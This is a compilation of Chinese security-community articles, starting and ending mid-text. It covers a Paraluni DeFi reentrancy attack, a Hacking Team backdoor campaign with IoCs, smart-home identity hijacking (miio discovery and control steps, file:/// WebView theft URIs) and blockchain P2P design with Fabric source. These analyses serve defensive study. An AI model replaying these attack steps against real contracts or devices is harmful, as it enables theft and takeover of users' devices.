## 0x2 攻击者信息
零时科技安全团队通过初步追踪分析，此次攻击发生在Binance链，主要攻击信息如下：
* 攻击者钱包地址
_<https://bscscan.com/address/0x94bC1d555E63eEA23fE7FDbf937ef3f9aC5fcF8F>_
* 攻击者创建的相关合约地址
主攻击合约：
_<https://bscscan.com/address/0x4770b5cb9d51ecb7ad5b14f0d4f2cee8e5563645>_
UGT：
_<https://bscscan.com/address/0xbc5db89ce5ab8035a71c6cd1cd0f0721ad28b508>_
UBT：
_<https://bscscan.com/address/0xca2ca459ec6e4f58ad88aeb7285d2e41747b9134>_
* 攻击交易
_<https://bscscan.com/tx/0xf2bba649019ce40a67f0fb74e5e800257d359d9094b6ba6faea14ffa4d3446b1>_
* 官方MasterChef合约
_<https://bscscan.com/address/0xa386f30853a7eb7e6a25ec8389337a5c6973421d#code>_
## 0x3 攻击分析
先来看一下攻击者获利的一笔交易操作：
步骤1：攻击合约在PancakeSwap通过闪电贷借款获取BTCB和WBNB，随后将该资金在ParaPair中添加流动性后获取了约31枚Para-LP。（这里将获取到的Para-LP转移给攻击者部署的UBT合约）
步骤2：攻击者通过官方MasterChef合约添加流动性，添加流动性资金为攻击者控制的Token合约，随后通过可控的Token地址将真实的31枚LP
Token存入，同时发生重入存入了两笔31枚LP Token。
步骤3：获取两次31枚的Para-LP，共62枚Para-LP。
步骤4：将获取的Para-LP兑换为BTCB和WBNB，最终归还闪电贷及手续费，攻击者该笔交易获取318枚BNB和3枚BTC。
至此，攻击者利用此攻击流程，通过对官方masterchef合约中多个池子进行了超过30次攻击共获利约170万美元。
## 0x4 漏洞细节
攻击者通过官方MasterChef合约中depositByAddLiquidity方法添加流动性质押代币，我们跟进该方法：
分析该方法，这里的传参中攻击者传入的pid=9，两个token地址为攻击者控制的UGT和UBT地址，amount均是1。pid为9是目前合约中BTCB/WBNB池子，通过上述代码逻辑可以明确，这里并未判断用户输入的pid和两个token地址是否对应，随后调用_doTransferIn方法进行转账，
转账之后调用depositByAddLiquidityInternal方法，继续跟进：
该方法中判断了池子是否已在该合约添加，这里攻击者传入的是9，是合约存在的池子，判断条件通过，继续进入添加流动性的addLiquidityInternal方法：
该方法会对池子中的LP Token数量进行判断，也就是添加流动性之后的LP Token余额要大于添加流动性之前的余额，由于攻击者添加的LP
Token与这里的池子并不对应，按理说这里的判断不能通过，但这里调用addLiquidty方法添加流动性时攻击者对token地址可控，并且攻击者在攻击开始的阶段就将闪电贷资金兑换后的真实LP
Token转移至自己可控的token地址，所以这里攻击者通过自身可控的transferFrom方法将真实的LP Token存入该合约deposit，如下图：
从deposit方法的最终逻辑可以看出，存入的LP Token是以调用者余额进行存入，也就是攻击者的UBT合约。
回到addLiquidityInternal方法，这里通过了require(vars.newBalance > vars.oldBalance,
“B:E”);的条件判断，并在depositByAddLiquidityInternal方法中继续调用_deposit方法进行了存款操作，这里的存款用户为攻击者主合约。
随后攻击者分别使用攻击者主合约和UBT合约从MasterChef合约中取走两份LP Token资金。
至此此次攻击事件的合约漏洞分析结束，攻击者主要利用合约未对Token地址做严格检查，导致项目使用的Token合约方法可控造成的安全漏洞，同样，对于涉及质押存款的方法未做重入限制。
目前通过对官方masterchef合约初步分析，该合约中的其他添加流动性质押方法也存在该风险，合约中_doTransferIn方法传入的Token也可能引起严重危害，由于攻击者传入Token地址自己可控，所以这里的safeTransferFrom方法逻辑攻击者可控，如下：
## 0x5 总结
通过此次攻击事件来看，攻击成功最重要的因素是Paraluni官方MasterChef合约中没有对Token地址做严格校验和对质押存款的方法未做重入限制，当然前提还是对Token未做严格校验，该风险就算加入了重入限制条件，攻击者依然可以通过Token可控对项目造成威胁，所以对于此类安全事件，零时科技安全团队给出以下建议。
## 0x6 安全建议
* 建议项目上线前进行安全审计；
* 建议对合约传参的访问控制问题进行严格判断；
* 建议对于涉及质押存款的方法未做重入限制。 | 社区文章 |
**作者：liuchuang
原文链接：<http://noahblog.360.cn/lin-dong-jiang-zhi-e-mo-zhong-xin-jiang-lin-qian-xi-hacking-teamxin-huo-dong/>**
## 背景
Hacking Team 是为数不多在全球范围内出售网络武器的公司之一，从 2003 年成立以来便因向政府机构出售监视工具而臭名昭著。
2015年7月，Hacking Team 遭受黑客攻击，其 400GB
的内部数据，包括曾经保密的客户列表，内部邮件以及工程化的漏洞和后门代码被全部公开。随后，有关 hacking team 的活动突然销声匿迹。
2018年3月 [ESET](https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/) 的报告指出：Hacking Team 一直处于活跃状态，其后门版本也一直保持着稳定的更新。
2018年12月[360高级威胁应对团队](https://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982.html)的报告披露了
Hacking Team 使用 Flash 0day 的”毒针”行动。
2019年11月[360高级威胁应对团队](https://blogs.360.cn/post/APT-C-34_Golden_Falcon.html)的报告披露了
APT-C-34 组织使用 Hacking Team 网络武器进行攻击。
2020年4月[360诺亚实验室](http://noahblog.360.cn/hackingteam_new_trace/)的报告披露出 Hacking
Team 新的攻击活动。
以上信息表明，Hacking Team 依旧处于活跃状态，并且仍然保持着高水准的网络武器开发能力。
## 概述
2020年9月11日，VirusTotal 上传了一份来自白俄罗斯的 rtf 恶意文档样本，该样本疑似 CVE-2020-0968
漏洞首次被发现在野利用。国内友商将此攻击事件称为“[多米诺行动](https://ti.dbappsecurity.com.cn/blog/index.php/2020/09/18/operation-domino/)”，但并未对其进行更丰富的归因。
我们分析相关样本后发现，该行动中使用的后门程序为 Hacking Team scout 后门的 38 版本。
此版本的后门使用了打印机图标，伪装成 Microsoft Windows Fax and Scan 程序。
和之前的版本一样，该样本依然加了VMP壳，并使用了有效的数字签名：
此样本的后门 ID 为`031b000000015`
C2 为 185.243.112[.]57
和之前的版本相同，scout 使用 post 方式，将加密信息上传至 185.243.112[.]57/search，且使用了相同的
UserAgent。由于其版本间的功能变化不大，我们在此不再对其进行详细分析。若对 scout
后门技术细节感兴趣，可以参考我们之前发布的[报告](http://noahblog.360.cn/hackingteam_new_trace/)。
## 关联分析
通过签名我们关联到另外一起针对俄罗斯的攻击事件。
关联到的样本名为: `дело1502-20памятка_эл72129.rtf`，中文翻译为：案例 1502-20 备忘录。rtf运行后，会从远程服务器
23.106.122[.]190 下载 mswfs.cab 文件，并释放后门程序到
`%UserProfile%\AppData\Local\Comms\mswfs.exe`。9月26日分析时，从服务器下载的 mswfs.cab
文件为正常的 winrar 安装包文件。
`mswfs.exe` 同样为 scout 后门38版本。
与针对白俄罗斯的攻击中的样本相同，该样本伪装成 Microsoft Windows Fax and Scan 程序，并使用了相同的数字签名。
此样本后门 ID 和 C2 如下图所示。
BACKDOOR_ID:71f8000000015
C2:
87.120.37[.]47
通过对远程服务器 23.106.122[.]190 进行分析，我们发现该 ip 关联的域名为
`gvpgov[.]ru`，注册日期为2020年9月11号。该域名为 `gvp.gov.ru` 的伪装域名，直接访问 23.106.122[.]190
会跳转到 https://www.gvp.gov.ru/gvp/documents ，即俄罗斯军事检察官办公室门户。
## 结论
结合白俄罗斯上传的 “СВЕДЕНИЯ О ПОДСУДИМОМ.rtf”
(中文翻译为“有关被告的信息”)样本和关联到的新样本，我们可以推测，此次行动是攻击者使用 Hacking Team
网络武器库针对俄罗斯与白俄罗斯军事/司法部门相关人员的一次定向攻击事件。
结合当前时间节点，俄罗斯、白俄罗斯和中国军队在俄罗斯阿斯特拉罕州卡普斯京亚尔靶场举行“高加索-2020”战略演习，白俄罗斯与俄罗斯联合开展“斯拉夫兄弟情2020”联合战术演习，9月14日的俄白总统会谈，以及白俄罗斯的示威活动，也给此次攻击增添了重重政治意味。
## 关于HT
2019年4月，Hacking Team 这家意大利公司被另一家网络安全公司收购并更名为 Memento
Labs。一年多之后的2020年5月，Hacking Team 的创始人和前首席执行官 David Vincenzetti 在其官方 LinkedIn
账号上发布了一条简短的消息：
> Hacking Team is dead.
Hacking Team 的几名主要员工离职后，尽管新产品的开发速度有所减缓，但通过观测到的 scout 后门版本的更新情况，我们发现 Hacking
Team 仍然保持着较高频率的活跃，这也说明 Memento Labs 一直在努力试图崛起。
观测到的时间 | scout版本号 | 签名 | 签名有效期 | 伪装的程序
---|---|---|---|---
2019-10 | 35 | KELSUREIWT LTD | 2018.10-2019.10 | ActiveSync RAPI Manager
2020-01 | 35 | CODEMAT LTD | 2019.06-2020.06 | ActiveSync RAPI Manager
2020-05 | 36 | Pribyl Handels GmbH | 2019.12-2020.12 | ActiveSync RAPI Manager
2020-09 | 38 | Sizg Solutions GmbH | 2019.12-2020.12 | Microsoft Windows Fax
and Scan
## IoCs
#### 针对俄罗斯的攻击
##### Hash
9E570B21929325284CF41C8FCAE4B712 mswfs.exe
##### BACKDOOR_ID
71f8000000015
##### IP
23.106.122[.]190 87.120.37[.]47
#### 针对白俄罗斯的攻击
##### hash
60981545a5007e5c28c8275d5f51d8f0 СВЕДЕНИЯ О ПОДСУДИМОМ.rtf
ba1fa3cc9c79b550c2e09e8a6830e318 dll f927659fc6f97b3f6be2648aed4064e1 exe
##### BACKDOOR_ID
031b000000015
##### IP
94.156.174[.]7 185.243.112[.]57
* * * | 社区文章 |
**作者：EnsecTeam-挽秋
公众号：[EnsecTeam](https://mp.weixin.qq.com/s/XlLH4fiMVUupgkEaGELAyA
"EnsecTeam")**
本文以如何劫持(窃取)智能家居时代设备的身份“安全凭证”为出发点，调研并分析了目前国内市场的主流产品和设备交互协议，及其所依赖身份凭证，通过介绍、分析和发现设备交互控制协议安全性，最终通过身份劫持，实现相关设备和产品的任意远程控制。
#### 智能家居身份和劫持危害
先通过一张简图来了解一下应用、智能设备和云端三者交互时携带的身份标识，如图所示：
智能家居设备交互时携带的身份标识
从上图了解到，智能家居身份标识通常是以下几种情况：
1. 账号cookie相关，如身份Token；
2. 用户id：userid
3. 设备id：deviceid
4. 认证或加密的key
一旦用户或设备的身份被劫持，那么至少存在如下几方面危害：
1. 个人信息，聊天内容等隐私敏感信息泄露
2. 智能设备被任意控制
3. 财产损失
4. 随时被监控
以智能音箱和智能插座等设备为例，至少有两个环节设计“身份”相关：
1. 账号同步
2. 设备交互操作
下面将分别介绍如何在这两个环节进行身份劫持。
#### 账号同步
账号同步是指，在智能设备在初次激活使用(或更改绑定用户时)，用户将自己的身份信息同步给设备，并绑定设备。
一个简化的账号同步流程，如图所示：
账号同步
账号同步通常会存在如下两类问题：
* 如何设备是否合法：验证设备id还是设备key？id和key都很容易泄露伪造。
* 账号Token如何安全传输：设备此时为入网，通过蓝牙、AP，还是其他何种方式传输账号信息。
账号同步时身份劫持,以厂商A音箱的配网和身份账号同步为例，其账号同步分为两种方式：
1. 直接通过UDP广播255.255.255.255:50000,发送userid、token和wifi的ssid和wifi密码。
2. 将userid、token、ssid和wifi密码等转化成语音播放，音箱进行语音信息识别即可。
关于两种模式的选择：由本地sharedPreferences文件(tg_app_env.xml)中的app_connect_mode属性值决定，其账号同步代码如图所示：
厂商A音箱的账号同步
厂商A的音箱将身份信息，通过固定“协议”的格式，在UDP255.255.255.255:50000端口进行身份信息发送，攻击者可以监听UDP50000端口，从而获取用户的userid和token，窃取身份凭据；语音发送也是按照同一套固定的“协议”格式发送。协议格式通过破解后如图所示：
厂商A音箱的账号信息同步格式
#### 设备交互
设备交互是指应用、设备和云端的三者交互访问；交互操作大体分为两种方式：
1. 只支持广域网：厂商A为代表；
2. 支持广域网和局域网：厂商B和C为代表。
广域网交互中应用与设备交互、设备与设备的交互方式如图：
应用和设备广域网交互
设备和设备广域网交互
**厂商A** 的智能家居接入方式：以开灯为例
第一步：厂商A的音箱-->音箱server
url：https:// ** _.com/_**
Payload: { Uderid, Deviceid, Accesstoken, 打开灯的语音}
第二步：厂商A的音箱sever-->第三方server
用户需要在第三方产品server注册并通过Oauth授权给厂商A的Server，消息格式如下：
｛
"header":{
“namespace”:”***Genie.Iot.Device.Control",
"name":"TurnOn",
"messageId":"1bd5d003-31b9-476f-ad03-71d471922820",
"payLoadVersion":1
},
"payload":{
"accessToken":"access token",
"deviceId":"34234",
"deviceType":"XXX",
"attribute":"powerstate",
"value":"on",
"extensions":{
"extension1":"",
"extension2":""
}
}
｝
第三步：第三方server-->设备
Payload：{command: turn-on, currentValue:0 }
厂商A音箱的身份劫持
厂商A的音箱每次交互时，都会携带: token、userid、deviceid、action来进行，并且server会依据userid来进行身份判断。
1. 有了userid就可以身份劫持——远程设备任意操作；
2. userId是顺序的，可遍历的9位数字：比如一个userid是50 ** _*123，另一个userid则是50_** *397这几位数字;
3. userid还有其他多种方式获得：配网时窃取、APP端上获取；
厂商A音箱被劫持后，可以用户查看聊天记录，自定义问答，设置闹钟、话费充值、智能家居控制等等，此外音箱
“被分享”之后，宿主不能主动取消分享，只能等“攻击者”取消分享，身份劫持危害如图所示，中间的攻击者可以任意查看用户的聊天记录：
厂商A音箱的身份劫持
**如何发现这类身份劫持？**
应用或设备通过携带4元组信息：userid、deviceid、token和action，向云端进行请求时，如下图所示，如果云端对4元组信息校验出现不一致的情况下，就会导致身份劫持：
* 把userid、deviceid、token三者信息中的一种直接当成用户身份，而不是进行严格的身份一致性判断：判断userid和token是否一致，用户身份和设备列表是否是绑定关系。
* 用户身份和action判断，存在逻辑漏洞，导致攻击者可以进行操作提权，比如子设备提权可以操作“属主”身份的一些权限，OTA更新等等。
4元组访问请求
局域网交互中应用与设备交互、设备与设备的交互方式如下图所示：
应用和设备局域网交互
设备和设备局域网交互
**厂商B** 的设备局域网身份劫持
在同一局域网下，厂商B设备通过专有的加密UDP网络协议——miio协议，进行通信控制。
1. 通过广播发送一个握手协议包，如果设备支持miio协议，那么设备就会回复自身信息：token、ip和ID。
2. 向指定设备发送一串hello bytes获得设备信息结构体”header”
3. 凭借token、ID等信息构造信息结构体”header”，跟随控制消息发送给设备，实现设备控制。
厂商B的设备局域网身份劫持交互如图所示：
厂商B的设备局域网身份劫持交互
第一步：安装python-miio库，然后执行：mirobo discover --handshake 1，获取设备IP、ID和Token信息。
第二步：发送hello bytes消息给设备54321端口，获取设备消息结构体Header：
第三步：伪造控制消息结构体Header、消息指令cmd和checksum(Token)，给设备发送；
typedef struct{
Header,
cmd,
checksum
}Msg
控制消息结构体如图所示：
厂商B的设备控制消息结构体
以打开智能插座为例：cmd={'id':1,'method':'set_power','params':['on']}
**厂商C** 的局域网交互控制
厂商C为了实现智能家居生态，主推一套实现产品智能化互联互通的协议——`“***Link”`，目前所有的产品都可以与APP，以及音箱进行交互控制，是一套“带认证的密钥协商+对称密钥加密”的设备操作和交互控制协议。
再介绍和认识“带认证的密钥协商”之前，我们先介绍一下ECDH密钥协商及其存在的安全问题。
有两个用户Bob和Alice，使用ECDH密钥协商，交互过程如图所示：
ECDH密钥协商
但是ECDH密钥协商是无法防御中间人攻击的，假设在Bob和Alice存在一个攻击者——Attack，对Bob和Alice进行中间人攻击，ECDH协商流程如图所示：
ECDH密钥协商之中间人攻击
为了防御中间人攻击，需要在ECDH密钥协商过程中加入“一套身份认证机制”——EccSignKey和EccVerifyKey，EccVerifyKey提前存储在需要协商密钥的用户设备上，整个“待认证的ECDH密钥协商”交互过程如图所示：
待认证的ECDH密钥协商
设备和厂商C的应用(或音箱)基于`***Link`协议来进行交互，第三方设备制造商首先在云端通过ECC算法一对生成公私钥：Ecc-sPrivateKey/Ecc-sPubkey，其中公钥Ecc-sPubkey内置在设备端，用于发送随机数到云端，进行设备的身份认证，设备认证合法后，云端下发设备后续通信加密的key：accessKey，然后应用使用ECDH密钥协商算法协商出的密钥，通过AES-CBC模式加密传输accessKey；此外设备和应用进行局域网通信时，都是通过localkey进行加解密来进行的，其中localkey就是accessKey。设备和厂商C的应用局域网交互流程如图所示：
设备和厂商C的应用局域网通信交互
厂商C的设备局域网身份劫持
厂商C的`***Link`协议的交互控制的消息结构体如下所示：
以打开智能插座为例：
Packet_t=协议包头，opt=null，Payload=LocalKey 密钥加密
Time[时间戳] //4字节int类型时间戳，小端在前
{
“cmd”:5,
"data":{
"streams":[{"current_value":"0","stream_id":"power"}],
"snapshot":[{"current_value":"1","stream_id":"power"}]
}
设备交互方式总结和比较
#### 通过应用实现身份劫持
**通过应用实现身份劫持，常用的方法有如下两种：**
1）通过webview JS交互接口远程命令执行或泄露身份账号
应用APP通过为webview
@JavascriptInterface关键字，自定义添加身份获取的函数，并且没对加载url做好限制，导致身份信息远程泄露或者远程命令执行
2）Webview file域远程信息泄露
应用开启WebSettings.setAllowUniversalAccessFromFileURLs(true)，并且webview对加载的url没有任何限制，则应用APP下所有私有目录信息都会被窃取
**通过webview JS交互接口远程命令执行或泄露身份账号**
应用扫一扫时(CaptureActivity),当CaptureActivity扫描到是“合法”url时，会调用`com.***.WebViewActivity`进行url加载，但是url判断逻辑存在漏洞，导致攻击者可以调用WebViewActivity定义的交互接口，远程获取用户账号等敏感身份信息，漏洞执行效果如下图所示。
通过webview-JS交互接口获取厂商C控制应用的身份
漏洞案列简化：
if(loadurl.contains(“***”)){
//合法
} else{
//不合法
}
**Webview file域远程信息泄露**
厂商A的音箱控制APP中WVWebViewActivity对外导出，并接收如下远程`uri
scheme：assistant://hsend***Poc5_web_view?direct_address=url`。
WVWebViewActivity接受外部的url会传入Fragment中的webview中进行加载，并且WVWebViewActivity中对webview进行了设置，开启了JS和file文件访问能力，并设置了WebSettings.setAllowUniversalAccessFromFileURLs(true)。
攻击者可以将assistant伪协议中的url先通过url加载任意html，然后下载恶意html文件到本地，然后webview跳转加载本地的恶意html文件，窃取用户私有目录内的身份信息。
assistant://hsend***Poc5_web_view?direct_address=http://www.test.com
assistant://hsend***Poc5_web_view?direct_address=file:///*/***.html
#### 智能家居身份劫持漏洞总结
**1\. 配网泄露**
**2\. 设备交互控制时，劫持**
1）app/设备->server：厂商A为代表，userid为身份凭证，可劫持；
2）局域网控制：
* 厂商B的局域网控制基于miio协议：token泄露，可劫持
* 厂商C的微联局域网控制：带认证的密钥协商+对称密钥加密(localkey),协议安全；
**3\. app应用存在身份穿越漏洞**
Webview JS交互接口远程命令执行或远程信息泄露
Webview File域远程信息克隆
#### 参考文献
1. <https://github.com/WeMobileDev/article/blob/master/%E5%9F%BA%E4%BA%8ETLS1.3%E7%9A%84%E5%BE%AE%E4%BF%A1%E5%AE%89%E5%85%A8%E9%80%9A%E4%BF%A1%E5%8D%8F%E8%AE%AEmmtls%E4%BB%8B%E7%BB%8D.md>
2. <https://github.com/rytilahti/python-miio>
3. <https://paper.seebug.org/616/>
* * * | 社区文章 |
本文概述：为了方便初学者进行架构学习，文章从基础开始讲起，以比特币、以太坊、超级账本的架构开始讲起（包括了一部分源码分析）。之后针对P2P现存安全问题进行分析，包括概念层的女巫攻击、Eclipse攻击以及落地DDos攻击。之后依照密码学的知识，详细剖析了部分安全问题的解决方法。
文章为原创，是我在经过大量的文献阅读已经源码分析后总结的知识，其中可能涉及到部分密码学等不容易理解的问题。大家有需要讨论的请在下方留言！希望我的分析能给大家带来收获！
### 一、三大应用的P2P架构详情
要学会攻击就要懂得详细的机制。而P2P中最精妙的地方就在于其涉及的巧妙之处。具体我们看他们是如何一步一步打造出“区块链P2P网络”这个大厦的。
#### 1 比特币中P2P架构
比特币开启了区块链时代，任何节点开启客户端后即可实现去中心化可信任的比特币交易。然而分布式网络最大的特点就是能够做到无中心化、能够任意接入网络、离开网络等。为了能够做到上述要求，比特币设计了如下三种节点发现方式。
**（1）种子节点的采用**
如同我上一篇文章所介绍的内容一样，比特币采用了“全分布式非结构化”的网络---[区块链安全—区块链P2P网络安全密码协议分析](https://xz.aliyun.com/t/2965#toc-5)。为了方便节点间获取整个网络的详细信息，比特币设定了一部分期稳定的节点硬编码至代码中。这些节点在初始启动时，提供最初接入网络的入口节点。新节点通过这些稳定节点作为中介连接其他节点，以达到获取整个网络节点地址的所有列表。这些地址又被称为比特币的初始化加载种子地址。
**（2）地址广播手法**
当新加入的节点连入网络后，其就可以以这个节点作为中介来帮助其他新点接入网络（老带新政策）。这个帮助的过程称为 **地址广播** 。包括：
* 主动广播（push）
在比特币源码中，其采用了Net.AdvertiseLocal()函数push自己。这是单项过程，其他节点接收到推送的地址信息后会将内容保存在本地并且不会做出回应。
* 主动拉取（pull）
主动将自身地址告诉周围节点还不足以保证network中所有的节点均获得网络结构。这里还需要进行主动拉取的过程。
在区块链源码中，比特币通过Net.GetAddresses( )方法主动拉去地址。节点A只向周围节点发出请求（例如向B请求），并接受到B发回的其本地存储的所有收录的地址信息。并且此请求只进行一次（避免网络资源浪费）。同时网路中所有的节点均可以向周围节点发出请求。PS：**这里就特别像计算机网络中的洪范，我认为是有所借鉴**
比特币的两种地址获取方式是独立的，这样可以防止攻击者通过伪造大量假的地址并广泛散播，导致正常节点无法接入比特币网络或接入虚假网络。
**（3） 地址数据库方法**
在比特币节点的本地中，存在地址数据库的概念。为了避免每次接入网络都进行大量的地址申请，比特币客户端使用的是levelDB格式储存数据将获取的节点信息保存在
peers.dat
本地文件中。A节点会定时向周围节点发送Ping指令，其余节点收到后会进行随机数回复。倘若节点持续了超过20min没有响应，那么A就会认为其邻居已经断开。除此之外，比特币客户端启动后会发起定时循环任务，检查连接节点是否在线，并将失败的节点保存在
banlist.dat 本地文件中。
#### 2 以太坊中P2P架构
比特币作为区块链的鼻祖对后续的应用有着先天的影响。以太坊就收到了比特币架构的影响。所以以
太坊不仅能够实现类似比特币的交易系统，更希望构建基于区块链的生态环境，拓展依赖于以太坊衍生的分布式应用。由上文我们知道，以太坊使用了“全分布式结构化”的网络架构，这些应用的实现依赖于节点可以根据需要精确查找另一个节点地址的功能，而非结构化
P2P网络结构无法满足。我们下面就谈一谈以太坊是如何发现周围节点的。
**（1）种子节点**
如同比特币的设计理念相同，以太坊的初始也是有其“硬编码种子节点”。它由节点信息、网络地址 URL
和数据协议三部分构成：节点信息、网络地址url、tcp端口号或者udp发现端口号。入下图所示。
初次之外，除了上图中的几个官方种子节点外，以太坊为了提高网络搭建的效率，选取了优质的个人节点并打包成static-nodes.json
文件后发布。以太坊用户下载后可以连 接到更多国内节点，加快以太坊国内网络速度。类似的配置文 件还有 trusted-nodes.json
保存信任节点信息，这两个文件不限定内容，只限定文件名及格式，以固定文件名的形式硬编码保存在配置文件内，配置的节点会在以太坊启动时加载。
**（2）地址数据库**
以太坊同样采用了地址数据库来保存历史节点。其使用leveldb作为历史文件格式，并生成多个*.ldb文件。对于首次连接以太坊网络的节点，地址数据库是空的，后续随着地址广播，逐渐填满地址列表。而对于多次连接的节点，其启动使用了`loadSeedNodes(
)`方法将种子节点和历史数据一起读取，快速高效连接以太坊 P2P 网络。
#### 3 HyperLedger Fabric中P2P架构
而我们通过之前的知识了解到，区块链与以太坊均是公链的形式存在。而我们在实际的开发项目应用中很少会采取公链的形式。为了实现解决某系特殊场合的要求，超级账本孕育而生。虽然
Fabric 没有实现去中心化，却可以通过划分不 同节点之间的工作负载实现优化网络效率。为了保证区块链网 络的安全性、可信赖性及可测量性，Fabric 采用
Gossip 作为 P2P 网络传播协议。
在Fabric源码中我们可以看到：
而Gossip 支持超级节点网络架构，超级节点具有稳定的网络服务和计算处理能力。超级节点负责Fabric的交易排序和新区块广播功能，维护 Fabric
网络信息更新、节点列表管理等内容。
简单来说，Gossip协议如同上述区块链、以太坊中的方法一样，它保证了新区块能够顺利的加入网络。
下面我们就具体的分析一下Fabric中的源码。
**（1）种子节点**
Fabric采用的不是硬编码的形式，而是配置文件的形式通过 core.yaml 配置文件进行配置。
而这种机制可以保证系统在无需重启的情况下更新配置信息并使其生效。
而Fabric中种子节点的加载流程如下：
* 首先节点启动Gossip 服务 `NewGossipService( )`方法，在服务 启动过程中调用 `g.connect2BootstrapPeers( )`方法加载种子节点。入下图：
func NewGossipService(conf *Config, s *grpc.Server, sa api.SecurityAdvisor,
mcs api.MessageCryptoService, selfIdentity api.PeerIdentityType,
secureDialOpts api.PeerSecureDialOpts) Gossip {
var err error
lgr := util.GetLogger(util.LoggingGossipModule, conf.ID)
g := &gossipServiceImpl{
selfOrg: sa.OrgByPeerIdentity(selfIdentity),
secAdvisor: sa,
selfIdentity: selfIdentity,
presumedDead: make(chan common.PKIidType, presumedDeadChanSize),
disc: nil,
mcs: mcs,
conf: conf,
ChannelDeMultiplexer: comm.NewChannelDemultiplexer(),
logger: lgr,
toDieChan: make(chan struct{}, 1),
stopFlag: int32(0),
stopSignal: &sync.WaitGroup{},
includeIdentityPeriod: time.Now().Add(conf.PublishCertPeriod),
}
g.stateInfoMsgStore = g.newStateInfoMsgStore()
g.idMapper = identity.NewIdentityMapper(mcs, selfIdentity, func(pkiID common.PKIidType, identity api.PeerIdentityType) {
g.comm.CloseConn(&comm.RemotePeer{PKIID: pkiID})
g.certPuller.Remove(string(pkiID))
}, sa)
if s == nil {
g.comm, err = createCommWithServer(conf.BindPort, g.idMapper, selfIdentity, secureDialOpts, sa)
} else {
g.comm, err = createCommWithoutServer(s, conf.TLSCerts, g.idMapper, selfIdentity, secureDialOpts, sa)
}
if err != nil {
lgr.Error("Failed instntiating communication layer:", err)
return nil
}
g.chanState = newChannelState(g)
g.emitter = newBatchingEmitter(conf.PropagateIterations,
conf.MaxPropagationBurstSize, conf.MaxPropagationBurstLatency,
g.sendGossipBatch)
g.discAdapter = g.newDiscoveryAdapter()
g.disSecAdap = g.newDiscoverySecurityAdapter()
g.disc = discovery.NewDiscoveryService(g.selfNetworkMember(), g.discAdapter, g.disSecAdap, g.disclosurePolicy)
g.logger.Info("Creating gossip service with self membership of", g.selfNetworkMember())
g.certPuller = g.createCertStorePuller()
g.certStore = newCertStore(g.certPuller, g.idMapper, selfIdentity, mcs)
if g.conf.ExternalEndpoint == "" {
g.logger.Warning("External endpoint is empty, peer will not be accessible outside of its organization")
}
go g.start()
go g.connect2BootstrapPeers()
return g
}
* 之后通过`g.conf.BootstrapPeers( )`方法读取了core.yaml配置文件并获得了bootstrap超级节点的值。
func (g *gossipServiceImpl) connect2BootstrapPeers() {
for _, endpoint := range g.conf.BootstrapPeers {
endpoint := endpoint
identifier := func() (*discovery.PeerIdentification, error) {
remotePeerIdentity, err := g.comm.Handshake(&comm.RemotePeer{Endpoint: endpoint})
if err != nil {
return nil, errors.WithStack(err)
}
sameOrg := bytes.Equal(g.selfOrg, g.secAdvisor.OrgByPeerIdentity(remotePeerIdentity))
if !sameOrg {
return nil, errors.Errorf("%s isn't in our organization, cannot be a bootstrap peer", endpoint)
}
pkiID := g.mcs.GetPKIidOfCert(remotePeerIdentity)
if len(pkiID) == 0 {
return nil, errors.Errorf("Wasn't able to extract PKI-ID of remote peer with identity of %v", remotePeerIdentity)
}
return &discovery.PeerIdentification{ID: pkiID, SelfOrg: sameOrg}, nil
}
g.disc.Connect(discovery.NetworkMember{
InternalEndpoint: endpoint,
Endpoint: endpoint,
}, identifier)
}
}
* 随后启动连接 g.disc.Connect( )方法，将 endpoint 作为参 数传入。
* 使用 d.createMembershipRequest( )方法生成请求信息。
* 将 endpoint 和自身 PKIid 组合，利用 go `d.sendUntilAcked( )`
方法将 req 信息发送至对应 endpoint。
func (d *gossipDiscoveryImpl) Connect(member NetworkMember, id identifier) {
for _, endpoint := range []string{member.InternalEndpoint, member.Endpoint} {
if d.isMyOwnEndpoint(endpoint) {
d.logger.Debug("Skipping connecting to myself")
return
}
}
d.logger.Debug("Entering", member)
defer d.logger.Debug("Exiting")
go func() {
for i := 0; i < maxConnectionAttempts && !d.toDie(); i++ {
id, err := id()
if err != nil {
if d.toDie() {
return
}
d.logger.Warningf("Could not connect to %v : %v", member, err)
time.Sleep(d.reconnectInterval)
continue
}
peer := &NetworkMember{
InternalEndpoint: member.InternalEndpoint,
Endpoint: member.Endpoint,
PKIid: id.ID,
}
m, err := d.createMembershipRequest(id.SelfOrg)
if err != nil {
d.logger.Warningf("Failed creating membership request: %+v", errors.WithStack(err))
continue
}
req, err := m.NoopSign()
if err != nil {
d.logger.Warningf("Failed creating SignedGossipMessage: %+v", errors.WithStack(err))
continue
}
req.Nonce = util.RandomUInt64()
req, err = req.NoopSign()
if err != nil {
d.logger.Warningf("Failed adding NONCE to SignedGossipMessage %+v", errors.WithStack(err))
continue
}
go d.sendUntilAcked(peer, req)
return
}
}()
}
* 得到范围信息并更新地址数据库。
**（2）地址数据库详情**
Fabric 采用超级节点的形式，都需要接入超级节点。在加载地址的时候，节点只需要验证super节点的存在并去那里取地址即可。节点通过解析收到
消息，检查节点是否正常，维护节点列表，不仅如此还定时与 连接节点通信，一旦被连接节点超过配置时间没有响应，则将 其移出节点列表，加入离线列表。
**（3）地址广播**
通过函数`g.syncDiscovery( )`进行循环查找节点。并选择其中的n个节点进行pusb列表。之后通过每个节点的合作使地址传至整个网络。
### 二、P2P网络攻击
#### 1 女巫攻击
在公有链中，由于没有身份认证的机构，所以用户创建节点是不需要代价的，也就是说攻击者可以十分轻易地去伪造身份加入网络。之后他们会试图去获取网络中大量的节点IP，并根据此做出一些恶意行为，例如发出虚假节点信息、误导节点间的正常信息传递以及延缓矿工的挖矿进程等。
Sybil攻击（女巫攻击）最初是由Douceur在点对点网络环境中提出的，他指出这种攻击破坏了分布式存储系统中的冗余机制，并提出直接身份验证和间接身份验证两种验证方式。后来，Chris
Karlof等人指出Sybil攻击对传感器网络中的路由机制同样存在着威胁。
当攻击者掌握了足够多的节点信息后，其就可以发起女巫攻击。
当大量的Sybil节点进入网络中，这些节点就可以假冒比特币的全节点并故意不进行相应请求。这也就使得其他节点必须进行等待，从而拖慢整个网络的进程。具体来说，Sybil攻击对区块链网络的影响主要体现在以下几个方面，详细内容可以查看[区块链攻击](https://www.idcbest.com/idcnews/11002090.html)：
